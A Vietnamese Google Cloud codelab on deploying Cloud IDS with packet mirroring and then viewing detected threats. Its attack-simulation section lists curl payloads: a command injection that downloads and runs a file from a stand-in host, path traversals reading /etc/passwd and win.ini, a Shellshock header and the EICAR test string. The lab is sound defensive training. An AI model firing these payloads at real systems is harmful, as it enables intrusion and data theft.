1. Giới thiệu
Trong phòng thí nghiệm này, bạn sẽ triển khai IDS của Cloud, một dịch vụ phát hiện xâm nhập nâng cao thế hệ tiếp theo, cung cấp tính năng phát hiện mối đe doạ đối với các cuộc xâm nhập, phần mềm độc hại, phần mềm gián điệp và các cuộc tấn công chỉ huy và kiểm soát. Bạn sẽ mô phỏng nhiều cuộc tấn công và xem thông tin chi tiết về mối đe doạ trong Cloud Console.
Kiến thức bạn sẽ học được
- Cách tạo điểm cuối IDS của Cloud
- Cách tạo 2 máy ảo bằng các lệnh gcloud
- Cách tạo chính sách phản chiếu gói
- Cách mô phỏng lưu lượng truy cập tấn công từ máy ảo
- Cách xem thông tin chi tiết về mối đe doạ trong Cloud Console và Cloud Logging
Bạn cần có
- Kiến thức về các lệnh cơ bản của Linux
2. Các trường hợp sử dụng IDS của Cloud
IDS của Cloud cung cấp Dịch vụ phát hiện xâm nhập (IDS) thế hệ tiếp theo gốc của Google Cloud để khách hàng đáp ứng các yêu cầu nâng cao về phát hiện mối đe doạ và tuân thủ, chẳng hạn như PCI 11.4. Dịch vụ này sử dụng công nghệ bảo vệ khỏi mối đe doạ của Palo Alto Networks để cung cấp khả năng phát hiện xâm nhập nâng cao. Việc kết hợp cơ sở hạ tầng đẳng cấp thế giới của Google Cloud với khả năng bảo mật đẳng cấp thế giới của Palo Alto Networks mang đến cho khách hàng một sự kết hợp chưa từng có giữa dịch vụ phát hiện mối đe doạ nâng cao được quản lý toàn diện, có hiệu suất cao và hiệu quả bảo mật cao nhất.
Khi khách hàng di chuyển lên đám mây, vấn đề bảo mật là mối quan tâm hàng đầu của họ. Họ muốn có các biện pháp kiểm soát bảo mật tương tự như biện pháp họ có tại chỗ, chẳng hạn như Dịch vụ phát hiện xâm nhập (IDS) trên đám mây. Họ muốn sử dụng giải pháp IDS được quản lý gốc trên đám mây để dễ dàng triển khai, có hiệu suất cao và chi phí tối ưu so với việc triển khai giải pháp bảo mật của bên thứ ba và quản lý cơ sở hạ tầng hoặc mang chữ ký của riêng họ. Google Cloud IDS cung cấp một dịch vụ IDS được quản lý từ đầu đến cuối và có khả năng tự động cấp tài nguyên bổ sung, cho phép khách hàng dành thời gian phân tích và giảm thiểu các mối đe doạ, đồng thời giải phóng thời gian và tài nguyên của họ để quản lý cơ sở hạ tầng hoặc chữ ký mối đe doạ.
IDS của Cloud được triển khai ngoài băng tần và có thể phát hiện cũng như cảnh báo về các mối đe doạ, nhưng không thể chặn các mối đe doạ. Giải pháp này tận dụng tính năng Phản chiếu gói của Google Cloud để tạo bản sao lưu lượng truy cập mạng được phân tích bằng công cụ phát hiện mối đe doạ của Palo Alto Network.
3. Cấu trúc liên kết lớp học lập trình

Hình 1. Thông tin tổng quan về kiến trúc cấp cao của việc triển khai IDS của Cloud cho bài tập thực hành này.
4. Thiết lập và yêu cầu
Thiết lập môi trường theo tốc độ của riêng bạn
- Đăng nhập vào Google Cloud Console rồi tạo một dự án mới hoặc sử dụng lại một dự án hiện có. Nếu chưa có tài khoản Gmail hoặc Google Workspace, bạn phải tạo một tài khoản.



- Tên dự án là tên hiển thị của những người tham gia dự án này. Đây là một chuỗi ký tự mà các API của Google không dùng và bạn có thể cập nhật chuỗi này bất cứ lúc nào.
- Mã dự án phải là duy nhất trên tất cả các dự án trên Google Cloud và không thể thay đổi (bạn không thể thay đổi sau khi đã đặt). Cloud Console sẽ tự động tạo một chuỗi duy nhất; thường thì bạn không cần quan tâm đến chuỗi này. Trong hầu hết các lớp học lập trình, bạn sẽ cần tham chiếu đến Mã dự án (thường được xác định là
PROJECT_ID). Vì vậy, nếu không thích mã này, bạn có thể tạo một mã ngẫu nhiên khác hoặc thử mã của riêng mình để xem mã đó có dùng được hay không. Sau đó, mã này sẽ "đóng băng" sau khi dự án được tạo. - Có một giá trị thứ ba là Số dự án mà một số API sử dụng. Tìm hiểu thêm về cả 3 giá trị này trong tài liệu.
- Tiếp theo, bạn cần bật tính năng thanh toán trong Cloud Console để sử dụng các tài nguyên/API trên Cloud. Việc thực hiện lớp học lập trình này sẽ không tốn nhiều chi phí, nếu có. Để tắt các tài nguyên nhằm tránh bị tính phí ngoài phạm vi hướng dẫn này, hãy làm theo mọi hướng dẫn "dọn dẹp" ở cuối lớp học lập trình. Người dùng mới của Google Cloud đủ điều kiện tham gia chương trình Dùng thử miễn phí trị giá 300 USD.
Khởi động Cloud Shell
Mặc dù có thể vận hành Google Cloud từ xa trên máy tính xách tay, nhưng trong lớp học lập trình này, bạn sẽ sử dụng Google Cloud Shell, một môi trường dòng lệnh chạy trên Cloud.
Trên Bảng điều khiển GCP, hãy nhấp vào biểu tượng Cloud Shell trên thanh công cụ ở trên cùng bên phải:

Quá trình này chỉ mất vài phút để cung cấp và kết nối với môi trường. Khi quá trình này kết thúc, bạn sẽ thấy như sau:

Máy ảo này được trang bị tất cả các công cụ phát triển mà bạn cần. Nó cung cấp một thư mục chính có dung lượng 5 GB và chạy trên Google Cloud, giúp tăng cường đáng kể hiệu suất mạng và hoạt động xác thực. Bạn chỉ cần một trình duyệt là có thể thực hiện mọi thao tác trong phòng thí nghiệm này.
5. Trước khi bắt đầu
Bật API
Trong Cloud Shell, hãy đảm bảo rằng bạn đã thiết lập mã dự án
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
Bật tất cả các dịch vụ cần thiết
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. Tạo mạng VPC
Mạng VPC
Từ Cloud Shell
gcloud compute networks create cloud-ids \ --subnet-mode=custom
Mạng con
Từ Cloud Shell
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
Quyền truy cập vào dịch vụ riêng tư
Từ Cloud Shell
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
Kết nối dịch vụ riêng tư
Từ Cloud Shell
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
Quy tắc về tường lửa
Để cho phép IAP kết nối với các phiên bản máy ảo, hãy tạo một quy tắc tường lửa có:
- Áp dụng cho tất cả các phiên bản máy ảo mà bạn muốn có thể truy cập bằng IAP.
- Cho phép lưu lượng truy cập vào từ dải IP 35.235.240.0/20. Dải này chứa tất cả địa chỉ IP mà IAP sử dụng để chuyển tiếp TCP.
Từ Cloud Shell
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
Cách cho phép cổng HTTP tiêu chuẩn (TCP 80) và giao thức ICMP kết nối đến máy chủ:
- Áp dụng cho các tài nguyên có thẻ mạng "server"
- Cho phép lưu lượng truy cập đến từ tất cả các nguồn
Từ Cloud Shell
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
Tạo phiên bản Cloud NAT
Cloud Router
Từ Cloud Shell
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Cloud NAT
Từ Cloud Shell
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. Tạo điểm cuối IDS của Cloud
Trong phần này, bạn sẽ tạo một Điểm cuối IDS của Cloud ở us-east1, với mức độ nghiêm trọng được đặt thành thông tin. Quá trình tạo điểm cuối IDS mất khoảng 20 phút.
Điểm cuối IDS
Từ Cloud Shell
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
Xác minh rằng điểm cuối IDS của Cloud đã được khởi tạo
gcloud ids endpoints list --project=$PROJECT_ID
Đầu ra –
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. Tạo 2 máy ảo
Trong phần này, bạn sẽ tạo 2 máy ảo. Đầu tiên là máy chủ web của bạn đang phản chiếu đến IDS của Cloud. Máy ảo thứ hai sẽ là nguồn lưu lượng truy cập tấn công của bạn.
Máy ảo 1 (Máy chủ)
Từ Cloud Shell
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
Máy ảo 2 (Máy khách)
Từ Cloud Shell
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. Đang chuẩn bị máy chủ
Trong phần việc cần làm này, bạn sẽ xác thực máy chủ và cung cấp tải trọng phần mềm độc hại vô hại cho ứng dụng.
SSH vào máy ảo thông qua Cloud Shell
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
Xác nhận dịch vụ web đang chạy
sudo systemctl status nginx
Đầu ra – xác minh trạng thái đang hoạt động và đang chạy
● nginx.service - A high performance web server and a reverse proxy server
Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
Docs: man:nginx(8)
Main PID: 1347 (nginx)
Tasks: 3 (limit: 4665)
Memory: 4.5M
CGroup: /system.slice/nginx.service
├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
├─1348 nginx: worker process
└─1349 nginx: worker process
May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
Thay đổi thư mục thành dịch vụ web
cd /var/www/html/
Tạo một tệp phần mềm độc hại vô hại trên máy chủ web
sudo touch eicar.file
Dán nội dung vào
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
Quay lại Cloud Shell
exit
Tạo chính sách phản chiếu gói IDS của Cloud
Xác định Quy tắc chuyển tiếp điểm cuối IDS và xác nhận trạng thái Điểm cuối IDS là "READY" (SẴN SÀNG).
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
Ví dụ về đầu ra – Sao chép giá trị từ "endpointForwardingRule"
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
Lưu Quy tắc chuyển tiếp điểm cuối IDS vào một biến.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
Chính sách về tính năng phản chiếu gói
Từ Cloud Shell
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
Xác minh rằng chính sách phản chiếu gói đã được tạo
Từ Cloud Shell
gcloud compute packet-mirrorings list
Đầu ra
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. Mô phỏng lưu lượng truy cập tấn công
SSH vào máy ảo của kẻ tấn công (Máy khách)
Từ Cloud Shell
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
Chạy các yêu cầu curl sau đây để mô phỏng lưu lượng truy cập độc hại.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
Thoát khỏi máy ảo để quay lại Cloud Shell
exit
11. Xem xét các mối đe doạ do IDS của Cloud phát hiện
Chuyển đến Trang tổng quan về IDS của Cloud
Trình đơn điều hướng > Bảo mật mạng > IDS của Cloud

Chuyển đến thẻ Mối đe doạ.

Như bạn có thể thấy, IDS của Cloud đã ghi lại nhiều hồ sơ lưu lượng truy cập tấn công và cung cấp thông tin chi tiết về từng mối đe doạ. Bạn có thể phải nhấp vào nút "Làm mới" nếu không thấy mối đe doạ nào. Bây giờ, chúng ta sẽ tìm hiểu kỹ hơn một chút và xem thông tin chi tiết về mối đe doạ.
Tìm mối đe doạ "Lỗ hổng thực thi mã từ xa Bash", nhấp vào dấu 3 chấm ở bên phải rồi chọn "Xem thông tin chi tiết về mối đe doạ"


Bây giờ, chúng ta sẽ xem thông tin chi tiết về sự cố này trong Cloud Logging. Quay lại trang Mối đe doạ bằng cách nhấp vào mũi tên chỉ sang trái .
Nhấp vào biểu tượng ba dấu chấm ở bên phải rồi chọn "Xem nhật ký mối đe doạ"


Cloud Logging cũng nhận được thông tin chi tiết tương tự. Điều này cho phép bạn gửi nhật ký đến Cloud Storage, Chronicle hoặc bất kỳ SIEM/SOAR nào. Bạn cũng có thể tạo quy trình tuỳ chỉnh để thực hiện hành động khắc phục dựa trên cảnh báo, ví dụ: tạo một hàm trên đám mây kích hoạt khi có cảnh báo và tạo/cập nhật một quy tắc tường lửa để chặn địa chỉ IP hoặc tạo/cập nhật một chính sách Cloud Armor.
12. Các bước dọn dẹp
Thoát khỏi phiên bản máy ảo (tất cả các thẻ)
exit
Xoá các thành phần trong phòng thí nghiệm khỏi một thiết bị đầu cuối Cloud Shell
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. Xin chúc mừng!
Chúc mừng bạn đã hoàn thành lớp học lập trình này.
Nội dung đã đề cập
- Các trường hợp sử dụng IDS của Cloud
- Yêu cầu về mạng
- Các API được hỗ trợ
- Đã tạo một điểm cuối IDS của Cloud
- Đã triển khai 2 VM
- Tạo một số lưu lượng truy cập "tấn công" từ máy khách
- IDS đã phát hiện thấy các mối đe doạ đã được xác minh
- Xem thông tin chi tiết và nhật ký về mối đe doạ